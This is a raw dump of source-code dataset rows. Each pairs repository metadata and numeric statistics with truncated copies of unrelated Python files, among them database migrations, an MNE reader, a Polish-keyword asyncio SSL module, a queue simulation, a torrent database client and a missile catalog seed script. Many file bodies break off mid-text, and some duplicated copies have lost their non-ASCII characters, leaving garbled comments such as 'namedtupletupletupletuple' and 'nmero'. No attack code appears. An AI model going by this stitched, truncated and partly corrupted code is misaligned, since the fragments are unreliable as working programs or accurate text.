# -*- coding: utf-8 -*- # Copyright (c) 2016-2018 by University of Kassel and Fraunhofer Institute for Energy Economics # and Energy System Technology (IEE), Kassel. All rights reserved. import pandas as pd from pandapower.plotting.generic_geodata import create_generic_coordinates from pandapower.plotting.plotly.tr...
0
0
0
0
0
0
0
37
22
f0b61d465c43a5af5d164b54e0cfaea6d2ccdac4
139
py
Python
client/bert_serving/client/_py3_var.py
devanshuDesai/bert-as-service
a1d3a225387bfdea15c7721d8493e6005b1c4a1b
[ "MIT" ]
10,342
2018-11-12T11:11:50.000Z
2022-03-23T15:29:27.000Z
client/bert_serving/client/_py3_var.py
worksking/bert-as-service
c57a646796c0c967ffd6d97249bce20c384272e3
[ "MIT" ]
553
2018-11-12T13:41:34.000Z
2022-03-21T06:52:07.000Z
client/bert_serving/client/_py3_var.py
worksking/bert-as-service
c57a646796c0c967ffd6d97249bce20c384272e3
[ "MIT" ]
2,005
2018-11-12T12:52:04.000Z
2022-03-21T10:02:14.000Z
__all__ = ['_py2', '_str', '_buffer', '_raise'] _py2 = False _str = str _buffer = memoryview
13.9
47
0.640288
__all__ = ['_py2', '_str', '_buffer', '_raise'] _py2 = False _str = str _buffer = memoryview def _raise(t_e, _e): raise t_e from _e
0
0
0
0
0
21
0
0
23
9c1291a2693183eb2286818639ecea6b6ba312dc
157
py
Python
covfefe/frameworks/torch/math.py
deepnn/pybrew
1417c910f6663e1c5f3c5eafdf1a34b68dce88a1
[ "MIT" ]
4
2017-06-08T08:59:48.000Z
2020-02-13T18:17:00.000Z
covfefe/frameworks/torch/math.py
deepnn/coffee
1417c910f6663e1c5f3c5eafdf1a34b68dce88a1
[ "MIT" ]
null
null
null
covfefe/frameworks/torch/math.py
deepnn/coffee
1417c910f6663e1c5f3c5eafdf1a34b68dce88a1
[ "MIT" ]
null
null
null
from __future__ import absolute_import from __future__ import print_function # This will make all the math functions of torch available
26.166667
58
0.834395
from __future__ import absolute_import from __future__ import print_function # This will make all the math functions of torch available from torch import *
0
0
0
0
0
0
0
-2
22
5b5e2f28135770e6b8706e5756cc7952341c4122
8,331
py
Python
google/cloud/dlp_v2/types/__init__.py
LaudateCorpus1/python-dlp
e0a51c9254677016f547647848dcbee85ee1bf29
[ "Apache-2.0" ]
32
2020-07-11T02:50:13.000Z
2022-02-10T19:45:59.000Z
google/cloud/dlp_v2/types/__init__.py
LaudateCorpus1/python-dlp
e0a51c9254677016f547647848dcbee85ee1bf29
[ "Apache-2.0" ]
112
2020-02-11T13:24:14.000Z
2022-03-31T20:59:08.000Z
google/cloud/dlp_v2/types/__init__.py
LaudateCorpus1/python-dlp
e0a51c9254677016f547647848dcbee85ee1bf29
[ "Apache-2.0" ]
22
2020-02-03T18:23:38.000Z
2022-01-29T08:09:29.000Z
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
24.868657
74
0.716721
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
0
0
0
0
0
0
0
630
0
7b4a4abfc360c91e636d21c2caa530fd56ec84b4
22
py
Python
example/__init__.py
ORIGINALLIFE/ndkale
759a7132afdfcabd2de658a7701673a928992827
[ "BSD-2-Clause" ]
210
2015-03-28T01:00:08.000Z
2022-03-20T15:59:57.000Z
example/__init__.py
ORIGINALLIFE/ndkale
759a7132afdfcabd2de658a7701673a928992827
[ "BSD-2-Clause" ]
32
2015-07-30T22:31:59.000Z
2020-05-15T22:22:07.000Z
example/__init__.py
ORIGINALLIFE/ndkale
759a7132afdfcabd2de658a7701673a928992827
[ "BSD-2-Clause" ]
51
2015-03-26T21:37:46.000Z
2022-01-18T05:36:28.000Z
__author__ = 'wenbin'
11
21
0.727273
__author__ = 'wenbin'
0
0
0
0
0
0
0
0
0
3e1124e492698672a5a250af850c0ab097fc9e18
2,835
py
Python
migrations/versions/e96fe0cc3a92_.py
1ibrary/1ibrary-gzhu
768af1837d6caa185c101cc82ea67efc931865c1
[ "Apache-2.0" ]
4
2017-06-30T01:32:52.000Z
2019-07-03T15:46:24.000Z
migrations/versions/e96fe0cc3a92_.py
1ibrary/1ibrary-gzhu
768af1837d6caa185c101cc82ea67efc931865c1
[ "Apache-2.0" ]
3
2021-03-22T17:13:51.000Z
2021-12-13T19:40:20.000Z
migrations/versions/e96fe0cc3a92_.py
1ibrary/1ibrary-gzhu
768af1837d6caa185c101cc82ea67efc931865c1
[ "Apache-2.0" ]
null
null
null
"""empty message Revision ID: e96fe0cc3a92 Revises: f1ffa6279209 Create Date: 2017-07-19 09:03:31.402092 """ # revision identifiers, used by Alembic. revision = 'e96fe0cc3a92' down_revision = 'f1ffa6279209' branch_labels = None depends_on = None
38.310811
91
0.672663
"""empty message Revision ID: e96fe0cc3a92 Revises: f1ffa6279209 Create Date: 2017-07-19 09:03:31.402092 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = 'e96fe0cc3a92' down_revision = 'f1ffa6279209' branch_labels = None depends_on = None def upgrade(): # ...
0
0
0
0
0
2,490
0
3
90
86d571401a990e4296d11560e57a796c4b8e779e
1,155
py
Python
fm/migrations/0013_event_lifecycle.py
prorevizor/noc
37e44b8afc64318b10699c06a1138eee9e7d6a4e
[ "BSD-3-Clause" ]
84
2017-10-22T11:01:39.000Z
2022-02-27T03:43:48.000Z
fm/migrations/0013_event_lifecycle.py
prorevizor/noc
37e44b8afc64318b10699c06a1138eee9e7d6a4e
[ "BSD-3-Clause" ]
22
2017-12-11T07:21:56.000Z
2021-09-23T02:53:50.000Z
fm/migrations/0013_event_lifecycle.py
prorevizor/noc
37e44b8afc64318b10699c06a1138eee9e7d6a4e
[ "BSD-3-Clause" ]
23
2017-12-06T06:59:52.000Z
2022-02-24T00:02:25.000Z
# ---------------------------------------------------------------------- # event lifecycle # ---------------------------------------------------------------------- # Copyright (C) 2007-2019 The NOC Project # See LICENSE for details # ---------------------------------------------------------------------- # Third-party ...
33.970588
97
0.502165
# ---------------------------------------------------------------------- # event lifecycle # ---------------------------------------------------------------------- # Copyright (C) 2007-2019 The NOC Project # See LICENSE for details # ---------------------------------------------------------------------- # Third-party ...
0
0
0
709
0
0
0
35
67
d4ef31c2b7a244a3e4dd3ed00d3eae530c14c6e6
3,203
py
Python
mne/io/_read_raw.py
tczhangzhi/mne-python
9fc8623eebd62d31039e90927744e376f5ee611c
[ "BSD-3-Clause" ]
null
null
null
mne/io/_read_raw.py
tczhangzhi/mne-python
9fc8623eebd62d31039e90927744e376f5ee611c
[ "BSD-3-Clause" ]
null
null
null
mne/io/_read_raw.py
tczhangzhi/mne-python
9fc8623eebd62d31039e90927744e376f5ee611c
[ "BSD-3-Clause" ]
null
null
null
"""Generic wrapper function read_raw for specific read_raw_xxx readers.""" # Authors: Clemens Brunner <clemens.brunner@gmail.com> # # License: BSD (3-clause) from functools import partial from . import (read_raw_edf, read_raw_bdf, read_raw_gdf, read_raw_brainvision, read_raw_fif, read_raw_eeglab, read_raw_cnt, read_...
33.715789
79
0.638776
"""Generic wrapper function read_raw for specific read_raw_xxx readers.""" # Authors: Clemens Brunner <clemens.brunner@gmail.com> # # License: BSD (3-clause) from pathlib import Path from functools import partial from . import (read_raw_edf, read_raw_bdf, read_raw_gdf, read_raw_brainvision, read_raw_...
0
1,355
0
0
0
324
0
70
91
513ef3edbae8277d962b74a9d9c209ea7791d7c5
2,540
py
Python
fn_apility/fn_apility/components/function_apility.py
nickpartner-goahead/resilient-community-apps
097c0dbefddbd221b31149d82af9809420498134
[ "MIT" ]
65
2017-12-04T13:58:32.000Z
2022-03-24T18:33:17.000Z
fn_apility/fn_apility/components/function_apility.py
nickpartner-goahead/resilient-community-apps
097c0dbefddbd221b31149d82af9809420498134
[ "MIT" ]
48
2018-03-02T19:17:14.000Z
2022-03-09T22:00:38.000Z
fn_apility/fn_apility/components/function_apility.py
nickpartner-goahead/resilient-community-apps
097c0dbefddbd221b31149d82af9809420498134
[ "MIT" ]
95
2018-01-11T16:23:39.000Z
2022-03-21T11:34:29.000Z
# (c) Copyright IBM Corp. 2010, 2018. All Rights Reserved. # -*- coding: utf-8 -*- # pragma pylint: disable=unused-argument, no-self-use """Function implementation""" import fn_apility.util.selftest as selftest
41.639344
184
0.652362
# (c) Copyright IBM Corp. 2010, 2018. All Rights Reserved. # -*- coding: utf-8 -*- # pragma pylint: disable=unused-argument, no-self-use """Function implementation""" import logging from resilient_circuits import ResilientComponent, function, handler, StatusMessage, FunctionResult, FunctionError import fn_apility.util...
3
1,715
0
391
0
0
0
110
112
d7078b37dd4fb5b2784ec91f80868383739be167
183
py
Python
tests/test_layers/test_2p5d/checks_2p5d/common.py
DevinCheung/ColossalAI
632e622de818697f9949e35117c0432d88f62c87
[ "Apache-2.0" ]
1
2021-11-02T03:13:36.000Z
2021-11-02T03:13:36.000Z
tests/test_layers/test_2p5d/checks_2p5d/common.py
DevinCheung/ColossalAI
632e622de818697f9949e35117c0432d88f62c87
[ "Apache-2.0" ]
null
null
null
tests/test_layers/test_2p5d/checks_2p5d/common.py
DevinCheung/ColossalAI
632e622de818697f9949e35117c0432d88f62c87
[ "Apache-2.0" ]
null
null
null
TESSERACT_DIM = 2 TESSERACT_DEP = 2 BATCH_SIZE = 8 SEQ_LENGTH = 8 HIDDEN_SIZE = 8
15.25
61
0.699454
import torch TESSERACT_DIM = 2 TESSERACT_DEP = 2 BATCH_SIZE = 8 SEQ_LENGTH = 8 HIDDEN_SIZE = 8 def check_equal(A, B): assert torch.allclose(A, B, rtol=1e-5, atol=1e-2) == True
0
0
0
0
0
63
0
-9
45
00b683c64c7dd7c2dbeb53d7fb96c9be873918a1
644
py
Python
Arbie/Actions/__init__.py
owodunni/Arbie
abc209a9f209bcd1f61e3b0209ec80b13f7b8f8b
[ "MIT" ]
12
2021-03-17T10:21:49.000Z
2022-03-06T04:26:39.000Z
Arbie/Actions/__init__.py
owodunni/arbie
abc209a9f209bcd1f61e3b0209ec80b13f7b8f8b
[ "MIT" ]
45
2020-07-22T19:33:04.000Z
2022-03-04T11:35:41.000Z
Arbie/Actions/__init__.py
owodunni/Arbie
abc209a9f209bcd1f61e3b0209ec80b13f7b8f8b
[ "MIT" ]
3
2020-08-13T12:25:09.000Z
2021-03-17T10:21:51.000Z
"""Actions are used for building complex interactions with smart contracts."""
53.666667
78
0.799689
"""Actions are used for building complex interactions with smart contracts.""" from Arbie.Actions.action import Action, Store # noqa: F401 from Arbie.Actions.action_tree import ActionTree # noqa: F401 from Arbie.Actions.arbitrage import Arbitrage # noqa:F401 from Arbie.Actions.path_finder import PathFinder # noqa:...
0
0
0
0
0
0
0
241
324
52ff3a2f0415ac3223a20fa695330480f46fc21b
1,503
py
Python
mail/mail.py
MiracleWong/PythonBasic
cb8ec59dc646842b41966ea4ea4b1ee66a342eee
[ "MIT" ]
null
null
null
mail/mail.py
MiracleWong/PythonBasic
cb8ec59dc646842b41966ea4ea4b1ee66a342eee
[ "MIT" ]
null
null
null
mail/mail.py
MiracleWong/PythonBasic
cb8ec59dc646842b41966ea4ea4b1ee66a342eee
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- #
35.785714
73
0.50499
# -*- coding: utf-8 -*- import email from email.header import decode_header # 只读取收件箱中的未读邮件 def get_mail(client): mail_list = [] resp, data = client.search(None, "UNSEEN") if data: for num in data[0].split(): typ, data = client.fetch(int(num), "(RFC822)") msg = data[0][1] ...
102
0
0
0
0
1,367
0
8
66
70fe1de5df6c36d8235904a90a0a5de3ebf7a09a
11,079
py
Python
util/database.py
ssunqf/mana
eff753f83b2129e3537dc3cee3952cb61f55fea0
[ "BSD-3-Clause" ]
null
null
null
util/database.py
ssunqf/mana
eff753f83b2129e3537dc3cee3952cb61f55fea0
[ "BSD-3-Clause" ]
null
null
null
util/database.py
ssunqf/mana
eff753f83b2129e3537dc3cee3952cb61f55fea0
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python3.6 # -*- coding: utf-8 -*- import asyncio try: import uvloop asyncio.set_event_loop_policy(uvloop.EventLoopPolicy()) except: pass if __name__ == '__main__': loop = asyncio.get_event_loop() db_client = Torrent('207.148.124.42', loop=loop) loop.run_until_complete(db_clien...
38.873684
127
0.476668
#!/usr/bin/env python3.6 # -*- coding: utf-8 -*- import asyncio import json import logging import re from typing import List, Tuple, Dict from datetime import datetime from tqdm import tqdm from parser.nsfw import detect_nsfw import asyncpg from util.categories import guess_metainfo from parser.search import make_tsv...
48
0
9,530
831
0
0
0
54
245
4550d03f499be9eae5048493c3d980accb44af5d
25,804
py
Python
Lib/asyncio/sslproto.py
sireliah/polish-python
605df4944c2d3bc25f8bf6964b274c0a0d297cc3
[ "PSF-2.0" ]
1
2018-06-21T18:21:24.000Z
2018-06-21T18:21:24.000Z
Lib/asyncio/sslproto.py
sireliah/polish-python
605df4944c2d3bc25f8bf6964b274c0a0d297cc3
[ "PSF-2.0" ]
null
null
null
Lib/asyncio/sslproto.py
sireliah/polish-python
605df4944c2d3bc25f8bf6964b274c0a0d297cc3
[ "PSF-2.0" ]
null
null
null
zaimportuj collections zaimportuj warnings sprbuj: zaimportuj ssl wyjwszy ImportError: # pragma: no cover ssl = Nic z . zaimportuj compat z . zaimportuj protocols z . zaimportuj transports z .log zaimportuj logger inaczej: # Fallback dla Python 3.3. sslcontext = ssl.SSLContext(ssl.PROTOCO...
38.284866
93
0.610332
zaimportuj collections zaimportuj warnings spróbuj: zaimportuj ssl wyjąwszy ImportError: # pragma: no cover ssl = Nic z . zaimportuj compat z . zaimportuj protocols z . zaimportuj transports z .log zaimportuj logger def _create_transport_context(server_side, server_hostname): jeżeli server_side: ...
306
588
0
0
0
3,078
0
0
266
b91b37c602d7161bdb18fbb612ec1c44bdb5dd70
2,468
py
Python
tests/test_main.py
flopraden/bemenu-extended
0427ec101552cf62bd0ba98d0cb83699a99ce8de
[ "MIT" ]
1
2020-03-01T19:15:43.000Z
2020-03-01T19:15:43.000Z
tests/test_main.py
flopraden/bemenu-extended
0427ec101552cf62bd0ba98d0cb83699a99ce8de
[ "MIT" ]
null
null
null
tests/test_main.py
flopraden/bemenu-extended
0427ec101552cf62bd0ba98d0cb83699a99ce8de
[ "MIT" ]
null
null
null
#! /usr/bin/env python # -*- coding: utf8 -*- import sys from os import path sys.path.append( path.dirname( path.dirname( path.abspath(__file__) ) ) ) import bemenu_extended as d menu = d.bemenu()
60.195122
182
0.651135
#! /usr/bin/env python # -*- coding: utf8 -*- import mock import pytest import sys from os import path sys.path.append( path.dirname( path.dirname( path.abspath(__file__) ) ) ) import bemenu_extended as d menu = d.bemenu() def test_required_variables_available(): assert d.path_cache[-len('bemenu-extended'):] ==...
28
0
0
0
0
2,158
0
-18
114
05663d5ebabfab987aea80e85ceb98316e7f9363
223
py
Python
individual_22.py
HeartAttack417/labs2
efc13855ebb2b096b08edf4215d054a097d1a257
[ "MIT" ]
null
null
null
individual_22.py
HeartAttack417/labs2
efc13855ebb2b096b08edf4215d054a097d1a257
[ "MIT" ]
null
null
null
individual_22.py
HeartAttack417/labs2
efc13855ebb2b096b08edf4215d054a097d1a257
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- print(ring_area(5, 3))
14.866667
38
0.475336
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from math import pi def ring_area(R, r): area = 'Error' if 0 <= r <= R: area = pi * (R ** 2 - r ** 2) return area print(ring_area(5, 3))
0
0
0
0
0
96
0
-2
50
1e7cd5441d75e159ca18198c76eb7e5786a50c12
1,869
py
Python
ants.py
doug-letough/ants
feab4ae6857fa21d0f9addaf46fcccd7a20cd940
[ "WTFPL" ]
null
null
null
ants.py
doug-letough/ants
feab4ae6857fa21d0f9addaf46fcccd7a20cd940
[ "WTFPL" ]
null
null
null
ants.py
doug-letough/ants
feab4ae6857fa21d0f9addaf46fcccd7a20cd940
[ "WTFPL" ]
null
null
null
#!/usr/bin/env python # -*- coding:Utf-8 -*- """The ants module entry point. """ import config import farm import mine import playground import display __author__ = "Doug Le Tough" __copyright__ = "Copyright 2017, Doug Le Tough" __credits__ = ["Doug Le Tough",] __license__ = "WTFPL" __version__ = "1.0.0" __maintaine...
30.145161
115
0.607277
#!/usr/bin/env python # -*- coding:Utf-8 -*- """The ants module entry point. """ import config import ant import farm import mine import playground import display import logging import random import utils __author__ = "Doug Le Tough" __copyright__ = "Copyright 2017, Doug Le Tough" __credits__ = ["Doug Le Tough",] __...
0
0
0
0
0
0
0
-35
88
8916d7dddc0388e8fed8401c56cf19605144c021
194
py
Python
exercicios curso em video/ex018.py
Nilton-Miguel/Prog_Python3
4cabcb1a30dde6ababce3cb8d1fbb7d417cb1d8b
[ "MIT" ]
null
null
null
exercicios curso em video/ex018.py
Nilton-Miguel/Prog_Python3
4cabcb1a30dde6ababce3cb8d1fbb7d417cb1d8b
[ "MIT" ]
null
null
null
exercicios curso em video/ex018.py
Nilton-Miguel/Prog_Python3
4cabcb1a30dde6ababce3cb8d1fbb7d417cb1d8b
[ "MIT" ]
null
null
null
from math import sin, cos, tan, radians a = radians(float(input('informe o ngulo: '))) print(' o seno : {:.2f}\n o cosseno : {:.2f}\n a tangente : {:.2f}'.format(sin(a), cos(a), tan(a)))
48.5
103
0.608247
from math import sin, cos, tan, radians a = radians(float(input('informe o ângulo: '))) print(' o seno é: {:.2f}\n o cosseno é: {:.2f}\n a tangente é: {:.2f}'.format(sin(a), cos(a), tan(a)))
8
0
0
0
0
0
0
0
0
420fa1fbc980f7660660c628ae98928c0adf0f74
1,464
py
Python
tutorial/collection.py
luanxiangming/rqsts
0bd3fa2fe64c71bf5702654de46e953d7a144847
[ "Apache-2.0" ]
2
2017-04-28T09:54:39.000Z
2017-05-03T12:38:19.000Z
tutorial/collection.py
luanxiangming/rqsts
0bd3fa2fe64c71bf5702654de46e953d7a144847
[ "Apache-2.0" ]
null
null
null
tutorial/collection.py
luanxiangming/rqsts
0bd3fa2fe64c71bf5702654de46e953d7a144847
[ "Apache-2.0" ]
null
null
null
def collections_nametuple(): """ namedtupletupletupletuple """ Point = namedtuple('Point', ['x', 'y']) p = Point(1, 2) print('p.x: ' + str(p.x)) print('isInstance(p, Point): ' + str(isinstance(p, Point))) print('isInstance(p, tuple): ' + str(isinstance(p, tuple))) # Pointtuple Circle = namedtuple('Circle',...
21.850746
82
0.636612
from collections import * def collections_nametuple(): """ namedtuple是一个函数,它用来创建一个自定义的tuple对象,并且规定了tuple元素的个数,并可以用属性而不是索引来引用tuple的某个元素。 """ Point = namedtuple('Point', ['x', 'y']) p = Point(1, 2) print('p.x: ' + str(p.x)) print('isInstance(p, Point): ' + str(isinstance(p, Point))) print('isInstance(p, tuple):...
531
0
0
0
0
385
0
4
45
f0abad9215aed2e7afdafcb8b139d6cc861997dd
1,258
py
Python
backend/models/competitor.py
brownben/munro
2beeae23f29fd064b102a44a1c2d3d852eed65e0
[ "MIT" ]
5
2020-02-02T14:58:15.000Z
2022-01-07T08:24:37.000Z
backend/models/competitor.py
brownben/munro
2beeae23f29fd064b102a44a1c2d3d852eed65e0
[ "MIT" ]
773
2020-01-04T22:54:01.000Z
2022-03-31T16:07:56.000Z
backend/models/competitor.py
brownben/munro
2beeae23f29fd064b102a44a1c2d3d852eed65e0
[ "MIT" ]
1
2021-12-25T14:32:25.000Z
2021-12-25T14:32:25.000Z
from flask_restx import Model, fields competitorModel = Model( "Competitor", { "id": fields.Integer( description="ID of the Competitor", example=7, ), "name": fields.String( description="Name of the Competitor", required=True, ...
28.590909
82
0.5469
from flask_restx import Model, fields competitorModel = Model( "Competitor", { "id": fields.Integer( description="ID of the Competitor", example=7, ), "name": fields.String( description="Name of the Competitor", required=True, ...
0
0
0
0
0
0
0
0
0
4920c07ffca83a5e8f40fa65e59790c3aa7f4d62
74
py
Python
my_bot/__main__.py
ColinTheShark/async_modular
9c359a97761e4ff50ee71c809b7af64eedac7053
[ "MIT" ]
null
null
null
my_bot/__main__.py
ColinTheShark/async_modular
9c359a97761e4ff50ee71c809b7af64eedac7053
[ "MIT" ]
null
null
null
my_bot/__main__.py
ColinTheShark/async_modular
9c359a97761e4ff50ee71c809b7af64eedac7053
[ "MIT" ]
null
null
null
from .my_bot import My_Bot if __name__ == "__main__": My_Bot().run()
14.8
26
0.662162
from .my_bot import My_Bot if __name__ == "__main__": My_Bot().run()
0
0
0
0
0
0
0
0
0
e08bca8e8b6a3d18942ada9c30818ad1a8c120ae
5,861
py
Python
catalog/lots_of_missiles.py
akshaym91/p5-itemcatalog
203deca5b43952c0d19f8397d99c54bd903fbec3
[ "MIT" ]
null
null
null
catalog/lots_of_missiles.py
akshaym91/p5-itemcatalog
203deca5b43952c0d19f8397d99c54bd903fbec3
[ "MIT" ]
null
null
null
catalog/lots_of_missiles.py
akshaym91/p5-itemcatalog
203deca5b43952c0d19f8397d99c54bd903fbec3
[ "MIT" ]
null
null
null
from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker from database_setup import Country, Base, Missile, User engine = create_engine('sqlite:///lots_of_missiles.db') # Bind the engine to the metadata of the Base class so that the # declaratives can be accessed through a DBSession instance Base....
34.680473
90
0.628903
from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker from database_setup import Country, Base, Missile, User engine = create_engine('sqlite:///lots_of_missiles.db') # Bind the engine to the metadata of the Base class so that the # declaratives can be accessed through a DBSession instance Base....
0
0
0
0
0
0
0
0
0
dde91c0374d34e326519572f04e8b6cb7b12efe1
9,455
py
Python
flexible_manipulation_flexbe_states/src/flexible_manipulation_flexbe_states/state_validation_state.py
ZiwenZhuang/flexible_manipulation
052a6acf6791ed7a7dea06bf6073d9a52e96ce3e
[ "BSD-3-Clause" ]
5
2019-05-15T07:14:15.000Z
2020-09-01T06:56:56.000Z
flexible_manipulation_flexbe_states/src/flexible_manipulation_flexbe_states/state_validation_state.py
ZiwenZhuang/flexible_manipulation
052a6acf6791ed7a7dea06bf6073d9a52e96ce3e
[ "BSD-3-Clause" ]
2
2020-03-24T07:57:04.000Z
2020-09-02T01:08:01.000Z
flexible_manipulation_flexbe_states/src/flexible_manipulation_flexbe_states/state_validation_state.py
ZiwenZhuang/flexible_manipulation
052a6acf6791ed7a7dea06bf6073d9a52e96ce3e
[ "BSD-3-Clause" ]
5
2019-04-27T23:25:25.000Z
2020-09-02T01:08:18.000Z
#!/usr/bin/env python ''' Created on 05-Mar-2018 @author: David Conner, Julie Gates, and Jenny Gu '''
43.173516
211
0.618932
#!/usr/bin/env python import rospy from flexbe_core import EventState, Logger from flexbe_core.proxy import ProxyActionClient from actionlib_msgs.msg import GoalStatus from flexible_manipulation_msgs.msg import StateValidationAction, StateValidationGoal from moveit_msgs.msg import Constraints, RobotState, ContactI...
0
0
0
8,912
0
0
0
256
183
0000c38c9907915220ad701f5b1b867061a657a4
1,120
py
Python
network/Decoder.py
muberraozmen/MrMP
da6bcccbad85a682c848ff4aa1121c773d779e57
[ "MIT" ]
null
null
null
network/Decoder.py
muberraozmen/MrMP
da6bcccbad85a682c848ff4aa1121c773d779e57
[ "MIT" ]
null
null
null
network/Decoder.py
muberraozmen/MrMP
da6bcccbad85a682c848ff4aa1121c773d779e57
[ "MIT" ]
null
null
null
__all__ = ['Decoder']
29.473684
101
0.682143
from network.Modules import * __all__ = ['Decoder'] class DecoderLayer(nn.Module): def __init__(self, d_model, d_inner, n_head, d_k, d_v, dropout=0.1): super().__init__() self.enc_attn = MultiHeadAttention(n_head, d_model, d_k, d_v, dropout=dropout) self.pos_ffn1 = PositionwiseFeedForwar...
0
0
0
1,016
0
0
0
8
68
378cf7dca487527b4a9f6e1bf40392184760e105
2,456
py
Python
blendernc/messages.py
blendernc/blendernc
11a545270720e5489174b39693d317a797eea273
[ "MIT" ]
39
2020-06-15T15:58:43.000Z
2022-02-02T01:11:57.000Z
blendernc/messages.py
netgodz/blendernc
09ed7c7791da46abb2c5fd3ee83286ef0bf82302
[ "MIT" ]
137
2020-06-19T15:29:06.000Z
2022-03-30T11:18:55.000Z
blendernc/messages.py
netgodz/blendernc
09ed7c7791da46abb2c5fd3ee83286ef0bf82302
[ "MIT" ]
8
2020-06-17T09:33:12.000Z
2022-01-21T00:26:19.000Z
#!/usr/bin/env python3 # TODO Replace all messages with print_message. # Possibly shift to class when blendernc is initiated. and move to logging.
23.390476
88
0.675896
#!/usr/bin/env python3 import warnings import bpy # TODO Replace all messages with print_message. # Possibly shift to class when blendernc is initiated. and move to logging. class PrintMessage(object): def __init__(self, text, title, icon): self.message = text() self.title = title self.ic...
0
0
0
595
0
1,302
0
-17
412
25d83a23955fc06a3f295c7d49f12798eea2f86b
1,911
py
Python
raspeedi/migrations/0001_initial.py
Nels885/csd_dashboard
aa5a3b970c50a2a93af722f962bd87c3728f233c
[ "MIT" ]
null
null
null
raspeedi/migrations/0001_initial.py
Nels885/csd_dashboard
aa5a3b970c50a2a93af722f962bd87c3728f233c
[ "MIT" ]
null
null
null
raspeedi/migrations/0001_initial.py
Nels885/csd_dashboard
aa5a3b970c50a2a93af722f962bd87c3728f233c
[ "MIT" ]
null
null
null
# Generated by Django 2.2.1 on 2019-06-04 11:41
57.909091
239
0.591313
# Generated by Django 2.2.1 on 2019-06-04 11:41 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Raspeedi', fields=[ ('ref_boitier', models....
14
0
0
1,790
0
0
0
19
46
98075587e2bfd7e8b06a04f56e0bdc4ea5bc88f8
5,808
py
Python
TP3/MM1K.py
NicolasBologna/Simulacion
d407379b182a373d9f28ca74c25472e711b5fc0f
[ "MIT" ]
null
null
null
TP3/MM1K.py
NicolasBologna/Simulacion
d407379b182a373d9f28ca74c25472e711b5fc0f
[ "MIT" ]
null
null
null
TP3/MM1K.py
NicolasBologna/Simulacion
d407379b182a373d9f28ca74c25472e711b5fc0f
[ "MIT" ]
null
null
null
import statistics import matplotlib.pyplot as plt #README #Criterio de estabilidad MM1: la tasa de servicio debe ser mayor que la tasa de llegada NumEvents = 2 #Defimos nmero de tipos de eventos (usamos 2: arribos y llegadas) #Constantes a usar para entender mejor el cdigo BUSY = 1 IDLE = 0 #QLIMIT = 10**5 #Hay qu...
31.394595
145
0.660813
import sys import numpy as np import statistics import matplotlib.pyplot as plt from MM1Utiles import funExpon #README #Criterio de estabilidad MM1: la tasa de servicio debe ser mayor que la tasa de llegada NumEvents = 2 #Defimos número de tipos de eventos (usamos 2: arribos y llegadas) #Constantes a usar para ente...
38
0
0
0
0
3,270
0
-5
240
65dc232a4e565e414a1ddeeebbd38bc5f5656593
599
py
Python
13022.py
WaiNaat/BOJ-Python
3365ef090c7dcf6e6a598fea0b25c416a5a3e01b
[ "MIT" ]
null
null
null
13022.py
WaiNaat/BOJ-Python
3365ef090c7dcf6e6a598fea0b25c416a5a3e01b
[ "MIT" ]
null
null
null
13022.py
WaiNaat/BOJ-Python
3365ef090c7dcf6e6a598fea0b25c416a5a3e01b
[ "MIT" ]
null
null
null
# input word = input() # process ''' o w . ''' isValid = True i = 0 while i < len(word): # w wCnt = 0 while i < len(word) and word[i] == 'w': i += 1 wCnt += 1 if wCnt == 0: isValid = False # o cnt = 0 while i < len(word) and word[i] == 'o': i += 1 cnt += 1 if cnt != wCnt: isValid = False # l cnt =...
16.638889
40
0.540902
# input word = input() # process ''' 처음에 o가 나올때까지 w의 개수를 세면 됨. ''' isValid = True i = 0 while i < len(word): # w wCnt = 0 while i < len(word) and word[i] == 'w': i += 1 wCnt += 1 if wCnt == 0: isValid = False # o cnt = 0 while i < len(word) and word[i] == 'o': i += 1 cnt += 1 if cnt != wCnt: isValid = F...
48
0
0
0
0
0
0
0
0
a5cbcb842d821b1612b92455a043bbf547f0e203
795
py
Python
zaimcsvconverter/zaim_csv_converter.py
yukihiko-shinoda/zaim-csv-converter
28b124573a6dfdb03fc94985c84684e639346b2c
[ "MIT" ]
1
2020-01-09T00:45:20.000Z
2020-01-09T00:45:20.000Z
zaimcsvconverter/zaim_csv_converter.py
yukihiko-shinoda/zaim-csv-converter
28b124573a6dfdb03fc94985c84684e639346b2c
[ "MIT" ]
4
2020-05-31T19:55:26.000Z
2021-11-13T09:54:02.000Z
zaimcsvconverter/zaim_csv_converter.py
yukihiko-shinoda/zaim-csv-converter
28b124573a6dfdb03fc94985c84684e639346b2c
[ "MIT" ]
null
null
null
"""This module implements converting steps from account CSV to Zaim CSV."""
44.166667
96
0.788679
"""This module implements converting steps from account CSV to Zaim CSV.""" from zaimcsvconverter import CONFIG, PATH_FILE_CONFIG, DirectoryCsv from zaimcsvconverter.convert_table_importer import ConvertTableImporter from zaimcsvconverter.input_csv_converter_iterator import InputCsvConverterIterator from zaimcsvconvert...
0
306
0
108
0
0
0
193
111
d5e7c18bd1ec88ecd0da18a5cacdc574bd5930a8
1,212
py
Python
classroom/migrations/0004_roomstream.py
Minecraft3193092/school-classroom
c0ea63f09d4125b0ae9033fd8b0a4aab2604bb42
[ "Apache-2.0" ]
11
2021-07-16T11:08:29.000Z
2022-01-10T12:53:03.000Z
classroom/migrations/0004_roomstream.py
Minecraft3193092/school-classroom
c0ea63f09d4125b0ae9033fd8b0a4aab2604bb42
[ "Apache-2.0" ]
1
2021-11-11T09:35:20.000Z
2022-01-13T05:15:19.000Z
classroom/migrations/0004_roomstream.py
Allesanddro/Zooming-cls
5555f1aa588ede6707b34ed8ac91bd4daeb4989c
[ "Apache-2.0" ]
9
